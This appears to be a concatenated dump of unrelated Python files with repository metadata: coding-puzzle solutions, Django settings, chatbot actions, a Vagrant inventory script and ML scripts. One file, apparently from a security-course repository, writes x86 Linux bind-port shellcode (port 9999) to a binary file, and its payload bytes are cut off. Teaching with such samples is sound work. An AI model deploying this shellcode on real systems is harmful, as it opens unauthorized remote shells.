test300_python/test_solution1.py
JackieMa000/problems
c521558830a0bbf67f94109af92d7be4397d0a43
[ "BSD-3-Clause" ]
null
null
null
import unittest from typing import List class Solution: # DP def lengthOfLIS_1(self, nums: List[int]) -> int: if not nums: return 0 n = len(nums) # dp[j]到达位置i的最长子序列的长度,包含a[j] # DP方程:dp[j] = max(dp[i]) + 1. i: (0, j-1) # Initialize dp = [1 for _ in range(n)] ...
31.357143
85
0.494305
650f9e3000469b5af389e61a90c1796bf450936b
1,978
py
Python
easy/806-Number of Lines To Write String.py
Davidxswang/leetcode
d554b7f5228f14c646f726ddb91014a612673e06
[ "Apache-2.0" ]
2
2020-05-08T02:17:17.000Z
2020-05-17T04:55:56.000Z
easy/806-Number of Lines To Write String.py
Davidxswang/leetcode
d554b7f5228f14c646f726ddb91014a612673e06
[ "Apache-2.0" ]
null
null
null
easy/806-Number of Lines To Write String.py
Davidxswang/leetcode
d554b7f5228f14c646f726ddb91014a612673e06
[ "Apache-2.0" ]
null
null
null
""" https://leetcode.com/problems/number-of-lines-to-write-string/ We are to write the letters of a given string S, from left to right into lines. Each line has maximum width 100 units, and if writing a letter would cause the width of the line to exceed 100 units, it is written on the next line. We are given an array w...
38.784314
377
0.667341
6fbf0a014cd2451d258b480eba7d4604f2051eed
60
py
Python
ht_web_service/apps/ht/__init__.py
Kit-Angelov/ht-web-service
9eabc0696634c2e5eba2c9789cc32f548d84cccb
[ "MIT" ]
1
2018-11-09T07:31:41.000Z
2018-11-09T07:31:41.000Z
ht_web_service/apps/ht/__init__.py
Kit-Angelov/ht-web-service
9eabc0696634c2e5eba2c9789cc32f548d84cccb
[ "MIT" ]
5
2020-06-05T17:15:40.000Z
2021-09-07T23:39:19.000Z
ht_web_service/apps/ht/__init__.py
Kit-Angelov/ht-web-service
9eabc0696634c2e5eba2c9789cc32f548d84cccb
[ "MIT" ]
null
null
null
default_app_config = 'ht_web_service.apps.ht.apps.HtConfig'
30
59
0.833333
1600346b48fdf857798204c92301e08a392410b5
1,232
py
Python
python_code/easy/404_Sum_of_Left_Leaves_easy/runner.py
timshenkao/interview_coding_exercises
c531fa5e0c09faef976539275589e957fcb88393
[ "Apache-2.0" ]
null
null
null
python_code/easy/404_Sum_of_Left_Leaves_easy/runner.py
timshenkao/interview_coding_exercises
c531fa5e0c09faef976539275589e957fcb88393
[ "Apache-2.0" ]
null
null
null
python_code/easy/404_Sum_of_Left_Leaves_easy/runner.py
timshenkao/interview_coding_exercises
c531fa5e0c09faef976539275589e957fcb88393
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 - present, Timur Shenkao # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
34.222222
78
0.665584
382c2ddde16ac917978fd0c8f32f5fcd6bb8b1e0
225
py
Python
mlcomp/contrib/sampler/hard_negative.py
sUeharaE4/mlcomp
1e0c23f84622ea4f72eb4e2354cef5ee16b767f4
[ "Apache-2.0" ]
null
null
null
mlcomp/contrib/sampler/hard_negative.py
sUeharaE4/mlcomp
1e0c23f84622ea4f72eb4e2354cef5ee16b767f4
[ "Apache-2.0" ]
null
null
null
mlcomp/contrib/sampler/hard_negative.py
sUeharaE4/mlcomp
1e0c23f84622ea4f72eb4e2354cef5ee16b767f4
[ "Apache-2.0" ]
null
null
null
from torch.utils.data import Sampler class HardNegativeSampler(Sampler): def __init__(self, data_source): super().__init__(data_source) def __len__(self): pass def __iter__(self): pass
17.307692
37
0.662222
a48eefa78e328e64b20afb05d394cdb83e4538a0
335
py
Python
base/apis/__init__.py
l-yb/vocabulary
47054dfd4c047d5e6036bc05f79138e9a21ddfe9
[ "Apache-2.0" ]
null
null
null
base/apis/__init__.py
l-yb/vocabulary
47054dfd4c047d5e6036bc05f79138e9a21ddfe9
[ "Apache-2.0" ]
null
null
null
base/apis/__init__.py
l-yb/vocabulary
47054dfd4c047d5e6036bc05f79138e9a21ddfe9
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*-# # # Project: vocabulary # Name: __init__.py # Author: lzq # Date: 2021/4/10 下午1:34 # from .api_base_role import BaseRoleViewSet from .api_base_user import BaseUserViewSet from .api_base_avatar import BaseAvatarViewSet from .api_user_login import UserLoginViewSet, B...
25.769231
61
0.713433
5029945376588bf875357539f91fe7bd8d20d3ac
207
py
Python
flash_led.py
Pratt-Institute/info697
7821ae3eca58344ee510058d42b3889ce18edc2f
[ "MIT" ]
3
2020-02-11T21:06:12.000Z
2020-02-11T22:45:41.000Z
flash_led.py
Pratt-Institute/info697
7821ae3eca58344ee510058d42b3889ce18edc2f
[ "MIT" ]
null
null
null
flash_led.py
Pratt-Institute/info697
7821ae3eca58344ee510058d42b3889ce18edc2f
[ "MIT" ]
3
2020-02-14T17:15:45.000Z
2020-02-25T10:07:14.000Z
from microbit import * # Flash led with signal wire # attached to pin0 while True: # Turn pin0 on pin0.write_digital(1) sleep(1000) # Turn pin0 off pin0.write_digital(0) sleep(1000)
17.25
28
0.666667
3a7b1360dcc3fbac78f23d3d45d64b0e40562f9b
192
py
Python
mayan/apps/ocr/literals.py
camerondphillips/MAYAN
b8cd44af50f0b2f2b59286d9c88e2f7aa573a93f
[ "Apache-2.0" ]
null
null
null
mayan/apps/ocr/literals.py
camerondphillips/MAYAN
b8cd44af50f0b2f2b59286d9c88e2f7aa573a93f
[ "Apache-2.0" ]
1
2022-03-12T01:03:39.000Z
2022-03-12T01:03:39.000Z
mayan/apps/ocr/literals.py
camerondphillips/MAYAN
b8cd44af50f0b2f2b59286d9c88e2f7aa573a93f
[ "Apache-2.0" ]
null
null
null
from __future__ import unicode_literals DEFAULT_OCR_FILE_FORMAT = 'tiff' DEFAULT_OCR_FILE_EXTENSION = 'tif' LOCK_EXPIRE = 60 * 10 # Adjust to worst case scenario UNPAPER_FILE_FORMAT = 'ppm'
27.428571
54
0.802083
de68e4b7e4cc683923f4e0ea002094f65926a51f
388
py
Python
src/odds/migrations/0011_auto_20200527_1702.py
davidcerezal/ods-docker-django
a87391c7780d37fefe8aafa427e35539a8f438bf
[ "MIT" ]
null
null
null
src/odds/migrations/0011_auto_20200527_1702.py
davidcerezal/ods-docker-django
a87391c7780d37fefe8aafa427e35539a8f438bf
[ "MIT" ]
null
null
null
src/odds/migrations/0011_auto_20200527_1702.py
davidcerezal/ods-docker-django
a87391c7780d37fefe8aafa427e35539a8f438bf
[ "MIT" ]
null
null
null
# Generated by Django 2.2.1 on 2020-05-27 17:02 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('odds', '0010_auto_20200525_1822'), ] operations = [ migrations.AlterField( model_name='surebet', name='revised', ...
20.421053
53
0.600515
fe28667fd65235af5966f961de823eff58984f10
1,770
py
Python
src/memo.py
knead/code
8826233da319cab90dac1338a481ef4ec1476770
[ "BSD-2-Clause" ]
null
null
null
src/memo.py
knead/code
8826233da319cab90dac1338a481ef4ec1476770
[ "BSD-2-Clause" ]
null
null
null
src/memo.py
knead/code
8826233da319cab90dac1338a481ef4ec1476770
[ "BSD-2-Clause" ]
null
null
null
""" # memo.py ## About Defines a memo wrapper for methods that caches memo results in the dictionary `i._memo`. ## The Code """ from functools import wraps def memo0(f): "Memo index does NOT includes first argument" name = f.__name__ @wraps(f) def g(i, *arg, **kw): if name not in i._memo: i._mem...
19.88764
60
0.653672
4c9dfe9cc4e12b2fd49c86edbd33bab7abcb7f14
8,214
py
Python
transaction/forms.py
jobic10/e-banking-django
f10dbb0b29a097ba3a2e9ea9b2000e4341ce71d2
[ "MIT" ]
4
2021-01-21T15:29:02.000Z
2022-02-28T07:58:55.000Z
transaction/forms.py
jobic10/e-banking-django
f10dbb0b29a097ba3a2e9ea9b2000e4341ce71d2
[ "MIT" ]
null
null
null
transaction/forms.py
jobic10/e-banking-django
f10dbb0b29a097ba3a2e9ea9b2000e4341ce71d2
[ "MIT" ]
null
null
null
from .models import Transaction from django import forms from account.models import Customer from django.core.exceptions import ValidationError from django.utils.translation import gettext as _ from django.db.models import Q # Create your models here. class CreditForm(forms.ModelForm): account_type = forms.Choice...
45.888268
139
0.59849
975bf00717c9c6d4a2789b8310d76486907502b3
2,401
py
Python
Arista_prototype/actions/actions.py
injusticescorpio/EliteCoders_ArjunTS
dea4925ed61b8b63eefb7f5882ac810c257f91c0
[ "MIT" ]
1
2021-11-24T11:16:36.000Z
2021-11-24T11:16:36.000Z
Arista_prototype/actions/actions.py
injusticescorpio/EliteCoders_ArjunTS
dea4925ed61b8b63eefb7f5882ac810c257f91c0
[ "MIT" ]
null
null
null
Arista_prototype/actions/actions.py
injusticescorpio/EliteCoders_ArjunTS
dea4925ed61b8b63eefb7f5882ac810c257f91c0
[ "MIT" ]
1
2022-03-17T07:01:09.000Z
2022-03-17T07:01:09.000Z
# This files contains your custom actions which can be used to run # custom Python code. # # See this guide on how to implement these action: # https://rasa.com/docs/rasa/custom-actions # This is a simple example for a custom action which utters "Hello World!" from typing import Any, Text, Dict, List from rasa_sdk ...
32.013333
103
0.682216
20de20f0c4b5f8c1b226d669a0ea48ab413ca96c
5,909
py
Python
chempy/util/_julia.py
bertiewooster/chempy
115adc1d570aa1631baff4374f3128ce23fa7776
[ "BSD-2-Clause" ]
340
2015-10-30T03:41:05.000Z
2022-03-31T05:01:17.000Z
chempy/util/_julia.py
bertiewooster/chempy
115adc1d570aa1631baff4374f3128ce23fa7776
[ "BSD-2-Clause" ]
80
2015-11-03T13:31:23.000Z
2022-03-31T16:46:19.000Z
chempy/util/_julia.py
bertiewooster/chempy
115adc1d570aa1631baff4374f3128ce23fa7776
[ "BSD-2-Clause" ]
75
2016-06-06T19:55:48.000Z
2022-03-19T23:39:13.000Z
from collections import OrderedDict from chempy import Reaction from chempy.kinetics.rates import MassAction, RadiolyticBase from chempy.units import to_unitless, default_units as u def jl_dict(od): return "Dict([%s])" % ", ".join(["(:%s, %.4g)" % (k, v) for k, v in od.items()]) def _r(r, p, substmap, parmap, *...
33.011173
87
0.494161
0deedd26d9efd7826e35666599085153b5d1298b
3,573
py
Python
neutron/services/trunk/drivers/base.py
ilay09/neutron
b7f9803c88b17a6ebd40fd44d15d4336bea7b394
[ "Apache-2.0" ]
4
2018-08-05T00:43:03.000Z
2021-10-13T00:45:45.000Z
neutron/services/trunk/drivers/base.py
ilay09/neutron
b7f9803c88b17a6ebd40fd44d15d4336bea7b394
[ "Apache-2.0" ]
8
2018-06-14T14:50:16.000Z
2018-11-13T16:30:42.000Z
neutron/services/trunk/drivers/base.py
ilay09/neutron
b7f9803c88b17a6ebd40fd44d15d4336bea7b394
[ "Apache-2.0" ]
7
2018-06-12T18:57:04.000Z
2019-05-09T15:42:30.000Z
# Copyright 2016 Hewlett Packard Enterprise Development Company, LP # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # U...
40.602273
79
0.717884
d030e2943b544f15ea44d730fe11fb3508d89030
1,633
py
Python
test/integration/test_jsonrpc.py
VecoOfficial/sentinel
a25583061902d3ceeec128f84f8978a7c729a93c
[ "MIT" ]
null
null
null
test/integration/test_jsonrpc.py
VecoOfficial/sentinel
a25583061902d3ceeec128f84f8978a7c729a93c
[ "MIT" ]
null
null
null
test/integration/test_jsonrpc.py
VecoOfficial/sentinel
a25583061902d3ceeec128f84f8978a7c729a93c
[ "MIT" ]
2
2019-10-18T19:58:30.000Z
2019-10-20T19:16:44.000Z
import pytest import sys import os import re os.environ['SENTINEL_ENV'] = 'test' os.environ['SENTINEL_CONFIG'] = os.path.normpath(os.path.join(os.path.dirname(__file__), '../test_sentinel.conf')) sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..', 'lib')) sys.path.append(os.path.join(os.path.dirname(__f...
31.403846
114
0.684017
9b9367aa9278ca46ee8b98b26a355af291420923
1,556
py
Python
mdx_object.py
timc3/python-markdown-object
45292a0d4456683bb9169fa31886bd281276b97f
[ "MIT" ]
null
null
null
mdx_object.py
timc3/python-markdown-object
45292a0d4456683bb9169fa31886bd281276b97f
[ "MIT" ]
null
null
null
mdx_object.py
timc3/python-markdown-object
45292a0d4456683bb9169fa31886bd281276b97f
[ "MIT" ]
null
null
null
#!/usr/bin/env python """ Gets Object links in a Markdown document. Inspired by a simple YouTube mdx_youtube Markdown plugin """ import markdown try: from markdown.util import etree except: from markdown import etree version = "0.1.0" class ObjectExtension(markdown.Extension): def __init__(self, ...
27.785714
122
0.617609
b340fe5e35a935466fd4ba7f4c71ae0294537aa4
775
py
Python
setup.py
YuhaoCheng/EasyBuildProject
d403568ff6547ecc59d259817f4622b3c9c34b98
[ "MIT" ]
2
2020-11-01T04:22:47.000Z
2020-11-07T14:53:14.000Z
setup.py
YuhaoCheng/EasyBuildProject
d403568ff6547ecc59d259817f4622b3c9c34b98
[ "MIT" ]
null
null
null
setup.py
YuhaoCheng/EasyBuildProject
d403568ff6547ecc59d259817f4622b3c9c34b98
[ "MIT" ]
null
null
null
import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="ebp", version="1.0.4", author="Yuhao Cheng", author_email="chengyuhao_work@outlook.com", description="a small tool to build the project", # long_description=long_description, # long_de...
25.833333
56
0.656774
71d2d7827839993b3eab2714cbda1e915dcd378b
694
py
Python
tests/test_exercise21.py
surajwate/57-python-exercises
3b47c096266fec114300b9340cd852088a00d56e
[ "MIT" ]
null
null
null
tests/test_exercise21.py
surajwate/57-python-exercises
3b47c096266fec114300b9340cd852088a00d56e
[ "MIT" ]
1
2021-07-06T17:34:59.000Z
2021-07-06T17:34:59.000Z
tests/test_exercise21.py
surajwate/57-python-exercises
3b47c096266fec114300b9340cd852088a00d56e
[ "MIT" ]
null
null
null
# test for Exercise 21: Numbers to Names from exercises.exercise21 import number_to_name import pytest @pytest.mark.parametrize("number, month", [(1, "The name of the month is January."), (7, "The name of the month is July."), (11, "The name of the month is November.")]) def test_number_to_name(number, month): ass...
25.703704
168
0.67147
abe14c0ab0ebe02b612191625e81cf563c54a19e
1,312
py
Python
neodroidagent/common/session_factory/vertical/procedures/rollout_inference.py
gitter-badger/agent
3f53eaa7ebdee3ab423c7b58785d584fe1a6ae11
[ "Apache-2.0" ]
8
2017-09-13T08:28:44.000Z
2022-01-21T15:59:19.000Z
neodroidagent/common/session_factory/vertical/procedures/rollout_inference.py
gitter-badger/agent
3f53eaa7ebdee3ab423c7b58785d584fe1a6ae11
[ "Apache-2.0" ]
4
2019-03-22T13:49:16.000Z
2019-03-25T13:49:39.000Z
neodroidagent/common/session_factory/vertical/procedures/rollout_inference.py
gitter-badger/agent
3f53eaa7ebdee3ab423c7b58785d584fe1a6ae11
[ "Apache-2.0" ]
3
2017-09-13T08:31:38.000Z
2021-11-09T11:22:27.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from itertools import count from pathlib import Path from typing import Union import torch from tqdm import tqdm from draugr.torch_utilities import TensorBoardPytorchWriter from warg import drop_unused_kws from .procedure_specification import Procedure __author__ = "Chr...
23.017544
74
0.632622
26f41cd47f88509cceb27875d9eb4a7cda198189
681
py
Python
newsapp/views.py
siddharth25pandey/news-fetcher
7bd627e43fa1dee8a98fce1b27a6216dc5854067
[ "MIT" ]
null
null
null
newsapp/views.py
siddharth25pandey/news-fetcher
7bd627e43fa1dee8a98fce1b27a6216dc5854067
[ "MIT" ]
null
null
null
newsapp/views.py
siddharth25pandey/news-fetcher
7bd627e43fa1dee8a98fce1b27a6216dc5854067
[ "MIT" ]
null
null
null
#from django.shortcuts import render # Create your views here. # importing api from django.shortcuts import render from newsapi import NewsApiClient # Create your views here. def index(request): newsapi = NewsApiClient(api_key ='df2ba6beace1452289fca16882e33c47') top = newsapi.get_top_headline...
26.192308
73
0.625551
6eda27ac815f7d8e95fa8c57ecb2ba0717e3d903
22,770
py
Python
sdk/security/azure-mgmt-security/azure/mgmt/security/aio/operations/_iot_security_solution_operations.py
adewaleo/azure-sdk-for-python
169457edbea5e3c5557246cfcf8bd635d528bae4
[ "MIT" ]
1
2020-03-05T18:10:35.000Z
2020-03-05T18:10:35.000Z
sdk/security/azure-mgmt-security/azure/mgmt/security/aio/operations/_iot_security_solution_operations.py
adewaleo/azure-sdk-for-python
169457edbea5e3c5557246cfcf8bd635d528bae4
[ "MIT" ]
2
2020-03-03T23:11:13.000Z
2020-03-30T18:50:55.000Z
sdk/security/azure-mgmt-security/azure/mgmt/security/aio/operations/_iot_security_solution_operations.py
adewaleo/azure-sdk-for-python
169457edbea5e3c5557246cfcf8bd635d528bae4
[ "MIT" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
51.053812
192
0.666271
eefd31a00f94cd6a3ab23a3d8c9a417632fd9bac
7,468
py
Python
src/components/charts/web_scrapper.py
simbadMarino/bttscan
4a3147fa7d96cbd8bfb7ce18e06765de5ce722b0
[ "Apache-2.0" ]
null
null
null
src/components/charts/web_scrapper.py
simbadMarino/bttscan
4a3147fa7d96cbd8bfb7ce18e06765de5ce722b0
[ "Apache-2.0" ]
null
null
null
src/components/charts/web_scrapper.py
simbadMarino/bttscan
4a3147fa7d96cbd8bfb7ce18e06765de5ce722b0
[ "Apache-2.0" ]
null
null
null
import requests import pprint from bs4 import BeautifulSoup import re import json from datetime import date import datetime from pytz import timezone import pytz from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.common.exceptions import TimeoutException from selenium.web...
46.675
282
0.748795
4184ee9f81b5a17032b5a45a181545762c11cff6
684
py
Python
judge/models/interface.py
TheAvidDev/pnoj-site
63299e873b1fb654667545222ce2b3157e78acd9
[ "MIT" ]
null
null
null
judge/models/interface.py
TheAvidDev/pnoj-site
63299e873b1fb654667545222ce2b3157e78acd9
[ "MIT" ]
null
null
null
judge/models/interface.py
TheAvidDev/pnoj-site
63299e873b1fb654667545222ce2b3157e78acd9
[ "MIT" ]
null
null
null
from django.db import models from .profile import User # Create your models here. class SidebarItem(models.Model): name = models.CharField(max_length=24) view = models.CharField(max_length=64) order = models.PositiveSmallIntegerField() def __str__(self): return self.name class BlogPost(model...
26.307692
56
0.725146
df38796302a423eddb0d7a3140b660aef5281c8c
1,679
py
Python
dicom2rawiv/zipextract/gdcm-2.6.3/Examples/Python/NewSequence.py
chipbuster/skull-atlas
7f3ee009e1d5f65f101fe853a2cf6e12662970ee
[ "BSD-3-Clause" ]
47
2020-03-30T14:36:46.000Z
2022-03-06T07:44:54.000Z
dicom2rawiv/zipextract/gdcm-2.6.3/Examples/Python/NewSequence.py
chipbuster/skull-atlas
7f3ee009e1d5f65f101fe853a2cf6e12662970ee
[ "BSD-3-Clause" ]
null
null
null
dicom2rawiv/zipextract/gdcm-2.6.3/Examples/Python/NewSequence.py
chipbuster/skull-atlas
7f3ee009e1d5f65f101fe853a2cf6e12662970ee
[ "BSD-3-Clause" ]
8
2020-04-01T01:22:45.000Z
2022-01-02T13:06:09.000Z
############################################################################ # # Program: GDCM (Grassroots DICOM). A DICOM library # # Copyright (c) 2006-2011 Mathieu Malaterre # All rights reserved. # See Copyright.txt or http://gdcm.sourceforge.net/Copyright.html for details. # # This software is distributed ...
23.647887
79
0.62835
9294b2e723fcfc58399c3a33506d5e77f9c9d5d9
4,755
py
Python
tests/conftest.py
tedmiston/prefect
a2cb40c28c942b1d170db42a55bab99598a4dcd6
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
tests/conftest.py
tedmiston/prefect
a2cb40c28c942b1d170db42a55bab99598a4dcd6
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
tests/conftest.py
tedmiston/prefect
a2cb40c28c942b1d170db42a55bab99598a4dcd6
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
import os import sys import tempfile from unittest.mock import MagicMock import pytest from distributed import Client import prefect from prefect.engine.executors import DaskExecutor, LocalDaskExecutor, LocalExecutor from prefect.utilities import configuration, debug @pytest.fixture(autouse=True) def logging_heartb...
25.702703
107
0.668559
ef96af15c558e30f82837f400e90ab5176e0f3ef
6,772
py
Python
pokemonclassification.py
cosmos342/pokemon-type1-category
4a5a27d9068917000ea6a715f8767e5d66fef945
[ "MIT" ]
null
null
null
pokemonclassification.py
cosmos342/pokemon-type1-category
4a5a27d9068917000ea6a715f8767e5d66fef945
[ "MIT" ]
null
null
null
pokemonclassification.py
cosmos342/pokemon-type1-category
4a5a27d9068917000ea6a715f8767e5d66fef945
[ "MIT" ]
null
null
null
__author__ = 'sam' import pandas as pd import numpy as np from keras.models import Sequential from keras.engine.training import slice_X from keras.layers import Dense, Dropout, Activation, Flatten, BatchNormalization from keras.layers import Convolution2D, MaxPooling2D from keras.utils import np_utils from keras.mod...
28.817021
114
0.663615
7649e6d7a32bcb85507d4203871c81ac2f23c97d
10,377
py
Python
mt/plot/3_plot_vocab_size.py
salvacarrion/nmt-continual-learning
302147ac9c270f3341a68a72c803c457f05ff37b
[ "MIT" ]
1
2021-05-26T11:35:09.000Z
2021-05-26T11:35:09.000Z
mt/plot/3_plot_vocab_size.py
salvacarrion/nmt-continual-learning
302147ac9c270f3341a68a72c803c457f05ff37b
[ "MIT" ]
1
2021-05-26T11:36:24.000Z
2021-05-26T11:36:24.000Z
mt/plot/3_plot_vocab_size.py
salvacarrion/nmt-continual-learning
302147ac9c270f3341a68a72c803c457f05ff37b
[ "MIT" ]
null
null
null
import math import os import random import time from pathlib import Path import json from mt import DATASETS_PATH, DATASET_EVAL_NAME, DATASET_SUMMARY_NAME from mt import helpers, utils import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() def get_metrics(datapath, sr...
50.619512
137
0.605281
acf59d98391ac6555a55769394e430d1674066f7
248
py
Python
day5/day5.py
jorn86/adventofcode2019
fa80d094312ee048e6416a26292fff368ff83b71
[ "MIT" ]
null
null
null
day5/day5.py
jorn86/adventofcode2019
fa80d094312ee048e6416a26292fff368ff83b71
[ "MIT" ]
null
null
null
day5/day5.py
jorn86/adventofcode2019
fa80d094312ee048e6416a26292fff368ff83b71
[ "MIT" ]
null
null
null
from IntCoder import IntCoder def run(input_value): memory = [int(i) for i in open('./input.txt', 'r').read().split(',')] coder = IntCoder(memory, [input_value]) coder.run() print(coder.output) run(1) # part 1 run(5) # part 2
19.076923
73
0.616935
21b876579ab9e10fb4228f39b9079525157c9d32
1,810
py
Python
app/models.py
flynndavid/user_portal
1b3a7bf03d3ab3b8208d79ff85e6eb10d3853998
[ "MIT" ]
null
null
null
app/models.py
flynndavid/user_portal
1b3a7bf03d3ab3b8208d79ff85e6eb10d3853998
[ "MIT" ]
null
null
null
app/models.py
flynndavid/user_portal
1b3a7bf03d3ab3b8208d79ff85e6eb10d3853998
[ "MIT" ]
null
null
null
# -*- encoding: utf-8 -*- """ License: MIT Copyright (c) 2019 - present AppSeed.us """ from app import db from flask_login import UserMixin class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) user = db.Column(db.String(64), unique = True) ema...
35.490196
80
0.535912
b375f7eabe7e1bf0b2bde72635eeb81d462e00e2
960
py
Python
shellcode/shellcode_writer.py
rambasnet/NetSecNotebooks
acce85355ad2d1bfbfe11fc54b571033af0d2e46
[ "MIT" ]
8
2020-05-24T14:36:49.000Z
2021-04-04T18:46:33.000Z
shellcode/shellcode_writer.py
rambasnet/NetSecNotebooks
acce85355ad2d1bfbfe11fc54b571033af0d2e46
[ "MIT" ]
null
null
null
shellcode/shellcode_writer.py
rambasnet/NetSecNotebooks
acce85355ad2d1bfbfe11fc54b571033af0d2e46
[ "MIT" ]
4
2020-07-17T18:35:10.000Z
2020-10-21T13:27:11.000Z
#! /usr/bin/env python3 """ Author: Ram Basnet September 17, 2021 Program writes the hex shellcode (typically generated by PEDA) into a binary file. MIT License """ # FIXME: update your binary shellcode... # x86/linux/bindport: 84 bytes # port=9999, host=192.168.195.168 shellcode = ( "\x31\xdb\x53\x43\x53\x6a\...
24
75
0.698958
b2dd61463a47529b9b98c652a8ffde2dc4e18ece
434
py
Python
alipay/aop/api/response/AmapMapYierlingsanQueryResponse.py
snowxmas/alipay-sdk-python-all
96870ced60facd96c5bce18d19371720cbda3317
[ "Apache-2.0" ]
213
2018-08-27T16:49:32.000Z
2021-12-29T04:34:12.000Z
alipay/aop/api/response/AmapMapYierlingsanQueryResponse.py
snowxmas/alipay-sdk-python-all
96870ced60facd96c5bce18d19371720cbda3317
[ "Apache-2.0" ]
29
2018-09-29T06:43:00.000Z
2021-09-02T03:27:32.000Z
alipay/aop/api/response/AmapMapYierlingsanQueryResponse.py
snowxmas/alipay-sdk-python-all
96870ced60facd96c5bce18d19371720cbda3317
[ "Apache-2.0" ]
59
2018-08-27T16:59:26.000Z
2022-03-25T10:08:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AmapMapYierlingsanQueryResponse(AlipayResponse): def __init__(self): super(AmapMapYierlingsanQueryResponse, self).__init__() def parse_response_content(self, response_c...
27.125
104
0.776498
d92deb29775ff6d312012833299990bd88b88488
3,961
py
Python
orchestration/ansible/vagrant.py
awesome-archive/wallaroo
852c19ffad0ed75a767a658a9a72c355e3c4c1c8
[ "Apache-2.0" ]
1,459
2017-09-16T13:13:15.000Z
2020-10-05T06:19:50.000Z
orchestration/ansible/vagrant.py
awesome-archive/wallaroo
852c19ffad0ed75a767a658a9a72c355e3c4c1c8
[ "Apache-2.0" ]
1,413
2017-09-14T18:18:14.000Z
2020-09-28T08:10:30.000Z
orchestration/ansible/vagrant.py
awesome-archive/wallaroo
852c19ffad0ed75a767a658a9a72c355e3c4c1c8
[ "Apache-2.0" ]
80
2017-09-27T23:16:23.000Z
2020-06-02T09:18:53.000Z
#!/usr/bin/env python """ Vagrant external inventory script. Automatically finds the IP of the booted vagrant vm(s), and returns it under the host group 'vagrant' Example Vagrant configuration using this script: config.vm.provision :ansible do |ansible| ansible.playbook = "./provision/your_playbook.yml" ...
30.236641
94
0.670033
801f1915599055464720b7d9647f397223f5c850
11,366
py
Python
python_modules/dagster-graphql/dagster_graphql/schema/asset_graph.py
ibelikov/dagster
6781eaadd33ecfb0b48d7c2c7d8e193efbda4209
[ "Apache-2.0" ]
null
null
null
python_modules/dagster-graphql/dagster_graphql/schema/asset_graph.py
ibelikov/dagster
6781eaadd33ecfb0b48d7c2c7d8e193efbda4209
[ "Apache-2.0" ]
null
null
null
python_modules/dagster-graphql/dagster_graphql/schema/asset_graph.py
ibelikov/dagster
6781eaadd33ecfb0b48d7c2c7d8e193efbda4209
[ "Apache-2.0" ]
1
2021-11-25T11:06:39.000Z
2021-11-25T11:06:39.000Z
import graphene from dagster import AssetKey, check from dagster.core.host_representation import ExternalRepository from dagster.core.host_representation.external_data import ( ExternalAssetNode, ExternalStaticPartitionsDefinitionData, ExternalTimeWindowPartitionsDefinitionData, ) from dagster_graphql.schem...
38.791809
101
0.690216
1a87d5e4fe4653172dc79e97fcd9f06984305697
16,196
py
Python
detect_layer_inner_structure.py
Toby28/mask_rcnn_dataargumentation
622521796958e5ae63c23ea6acf8311688275098
[ "MIT" ]
null
null
null
detect_layer_inner_structure.py
Toby28/mask_rcnn_dataargumentation
622521796958e5ae63c23ea6acf8311688275098
[ "MIT" ]
null
null
null
detect_layer_inner_structure.py
Toby28/mask_rcnn_dataargumentation
622521796958e5ae63c23ea6acf8311688275098
[ "MIT" ]
null
null
null
import os import worker import mrcnn.model as mrcnn import numpy as np import matplotlib.pyplot as plt import scipy.stats as ss import dataReader as dr import cfs_coco_train as coco from keras import backend as K ROOT_DIR = os.path.abspath("../../") DEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, "logs") # # ...
36.725624
185
0.634045
e43589550b8336cf0eb5df689e3afc4ca4e5eade
253
py
Python
serivce/app/__init__.py
LupusAnay/gateway-prototype
e40426e05ca7b2a83bfd8d31fec252086f586eb8
[ "MIT" ]
null
null
null
serivce/app/__init__.py
LupusAnay/gateway-prototype
e40426e05ca7b2a83bfd8d31fec252086f586eb8
[ "MIT" ]
null
null
null
serivce/app/__init__.py
LupusAnay/gateway-prototype
e40426e05ca7b2a83bfd8d31fec252086f586eb8
[ "MIT" ]
null
null
null
import requests from flask import Flask, jsonify from flask_cors import CORS def create_app(): app = Flask(__name__) CORS(app) from serivce.app.views import service_blueprint app.register_blueprint(service_blueprint) return app
16.866667
51
0.750988
67508cba1fc5cd452241046a44813061865335cd
9,503
py
Python
FPIDjango/settings.py
snelzing/Food-Pantry-Inventory
ff8803cc53ceeb012fb97c60373734f03f03bf6a
[ "MIT" ]
1
2019-02-21T05:22:06.000Z
2019-02-21T05:22:06.000Z
FPIDjango/settings.py
snelzing/Food-Pantry-Inventory
ff8803cc53ceeb012fb97c60373734f03f03bf6a
[ "MIT" ]
null
null
null
FPIDjango/settings.py
snelzing/Food-Pantry-Inventory
ff8803cc53ceeb012fb97c60373734f03f03bf6a
[ "MIT" ]
null
null
null
""" Django settings for FPIDjango project. ---- Unfortunately, the modified import statement of .. from FPIDjango.private.settings_private import * is required for the PyCharm Python Console and the PyCharm manage.py to work properly. It obviously knows better than I do. It cannot pay attention to some silly...
28.282738
91
0.627697
9ea007c7d6a16ba59214e5a01d8bcc76f3b9ad00
3,915
py
Python
.kodi/addons/plugin.video.nasa/addon.py
C6SUMMER/allinclusive-kodi-pi
8baf247c79526849c640c6e56ca57a708a65bd11
[ "Apache-2.0" ]
null
null
null
.kodi/addons/plugin.video.nasa/addon.py
C6SUMMER/allinclusive-kodi-pi
